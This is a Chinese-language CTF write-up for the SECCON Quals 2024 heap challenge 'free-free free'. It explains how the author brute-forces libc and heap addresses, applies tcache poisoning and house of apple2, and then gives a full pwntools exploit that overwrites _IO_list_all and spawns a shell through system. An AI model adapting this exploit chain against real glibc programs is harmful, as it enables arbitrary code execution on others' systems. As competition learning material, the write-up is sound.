SECCON Quals 2024 free-free free writeup

Featured image

打完比赛当天晚上就出了这个题,感觉稍微有点可惜hhh ~ 毕竟在边做题边刷购物软件(逃)的摆烂状态下大概也就花了 10 小时… 只能说要是比赛的时候不一直纠结那个傻子 format string (Paragraph),早点开这个题就好了 ~ ggggg
下面是 writeup

漏洞

题目给了源码,所以直接看源码就行,整体是一个链表,但是 free 的时候只有纯的链表操作,malloc 只能申请 tcache 大小范围的堆块,没有真正的 free 函数调用,此外没有 show 函数,所以看上去挺难的样子
漏洞如下:

  1. tcache poisoning 当我们爆破堆地址时,我们就可以操纵一个 smallbin 里面的块,但是我们现有条件很难打 house of Lore 之类的针对 smallbin 的方法,不如上 tcache poisoning
    这时候我们再往链表里面扔一个 smallbin chunk,它的 next 指向了 0x7f…ef0 which in turn 指向了 0x7f…f00
    我们通过操纵 0x7f…ef0 的 fake Data struct,把 0x7f…f00 处的内存改向 tcache_chunk_addr - 0x10 然后 release(0x7f51) 把 tcache chunk - 0x10 链入题目链表,就可以操纵 tcache chunk 的 fd 了!!
    接下来就是常规的 house of apple2,就不多赘述了

exp

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
libc = ELF("./libc.so.6")
p=remote("free3.seccon.games",8215)
# p=process("./chall")
def add(siz):
    p.sendlineafter("> ", "1")
    p.sendlineafter("size: ", str(siz))
    p.recvuntil("ID:")
    index = int(p.recvline().decode().strip("\n").split(" ")[0], 16)
    print(hex(index))
    return index
def edit(index, content):
    p.sendlineafter("> ", "2")
    p.sendlineafter("id: ", hex(index))
    p.sendafter("data", content)

def delete(index):
    p.sendlineafter("> ", "3")
    p.sendlineafter("id: ", hex(index))

index1 = add(0x400)
delete(index1)
index2 = add(0x390)
index3 = add(0x1b0)

edit(index3,b"a"*0x1a8+b"\x01\x04"+b"\n")

index4 = add(0x400)
index5 = add(0x3f0)

index6 = add(0x3e0)
delete(index2)
delete(index3)
delete(index4)
delete(index5)
edit(index6,b"a"*0x3d8+b"\x01\x04\n")
delete(index6)
# index8 = add(0x400)

for i in range(25):
    index1 = add(0x400)
    delete(index1)
    index2 = add(0x3f0)
    delete(index2)
    index3 = add(0x3e0)
    edit(index3,b"a"*0x3d8+b"\x01\x04\n")
    delete(index3)


for i in range(7):
    idx = add(0x3d0)
    delete(idx)

idx = add(0x3d0)
# 爆破 libc 前面
line = ""
num = 0
for i in range(0x100):
    num = 0x7f00+i
    p.sendlineafter("> ", "2")
    p.sendlineafter("id: ", hex(0x7f00+i))
    line = p.recv(4).decode().strip("\n")
    if "data" in line:
        break
print(line)
line = p.recvuntil(": ")
print(line)
libc_lower = line.decode().split("(")[1].split(")")[0]
libc_leak = int(libc_lower,10)+num*0x100000000
print(hex(libc_leak))
libc_num = num

#  0x7f951159e000 0x7f95117a1ee0
libc_base = libc_leak - 0x7a1ee0 + 0x59e000
offset = 0x203ee0
# try heap leak
p.sendline("") # 这里先不写 防止覆盖堆指针
delete(num) # 防止 index 冲突
# do edit
edit(num,p64(libc_leak+0x20)[:6]+b"\n")
for i in range(7): # 耗尽 tcache
    idx = add(0x3d0)
    delete(idx)

num = add(0x3d0) # 搞个有 libc 地址的 smallbin 出来
delete(num)
# 爆破 heap
heap_idx = 0
for i in range(0x100):
    heap_idx = 0x5500+i
    p.sendlineafter("> ", "2")
    p.sendlineafter("id: ", hex(0x5500+i))
    line = p.recv(4).decode().strip("\n")
    if "data" in line:
        break
    heap_idx = 0x5600 + i
    p.sendlineafter("> ", "2")
    p.sendlineafter("id: ", hex(0x5600+i))
    line = p.recv(4).decode().strip("\n")
    if "data" in line:
        break

print(line)
line = p.recvuntil(": ")
print(line)
heap_lower = line.decode().split("(")[1].split(")")[0]
heap_leak = int(heap_lower,10)+heap_idx*0x100000000
print(hex(heap_leak))
print(hex(libc_base))
# trigger
p.sendline("")
# 0x558f96911c00 0x558f96604000 heap_leak 对应的块在 small bins 里面
heap_base = heap_leak - 0x911c00+0x604000

# 到这里可以开始 uaf 了 直接上 smallbin 可能有点难 上 tcache poisoning 吧


for i in range(7):
    idx = add(0x3d0)
    delete(idx)
    
idx1 = add(0x3d0)

delete(idx1)
io_list_all = libc_base + libc.sym["_IO_list_all"] - 0x10
# 不对 fd 还要做和它地址的异或
# 0x563a5e2e5c10 0x563a5df94000
cur_heap_addr = heap_base + 0x351c00
print(hex(heap_idx))
print(hex(cur_heap_addr))
edit(libc_num,p64(cur_heap_addr)[:6]+b"\n")

edit(0,p64(io_list_all^(cur_heap_addr>>12))[:6]+b"\n")
print(hex(cur_heap_addr))

# 0x555d869efc10 0x555d869efc00
idx1 = add(0x3d0)
# io_file
io_file_addr = cur_heap_addr + 0x20
io_file = b"  sh;"
io_file = io_file.ljust(0x20, b"\x00")
io_file += p64(1)+p64(2)
io_file = io_file.ljust(0x68, b"\x00")+p64(libc_base+libc.symbols["system"])
io_file = io_file.ljust(0x88, b"\x00")+p64(io_file_addr + 0xe8)
io_file = io_file.ljust(0xa0, b"\x00")+p64(io_file_addr)
io_file = io_file.ljust(0xd8, b"\x00")+p64(libc_base + 0x202228)+p64(io_file_addr)+p64(0)+p64(io_file_addr+0x100)
edit(idx1, io_file[:0xf7]+b"\n") # TODO 改这里长度
delete(idx1)
idx2 = add(0x3d0)

edit(idx2,p64(cur_heap_addr+0x20)[:6]+b"\n")
# trigger
# gdb.attach(p)
# pause()
p.sendlineafter("> ", "0")
p.interactive()

总结

alt_text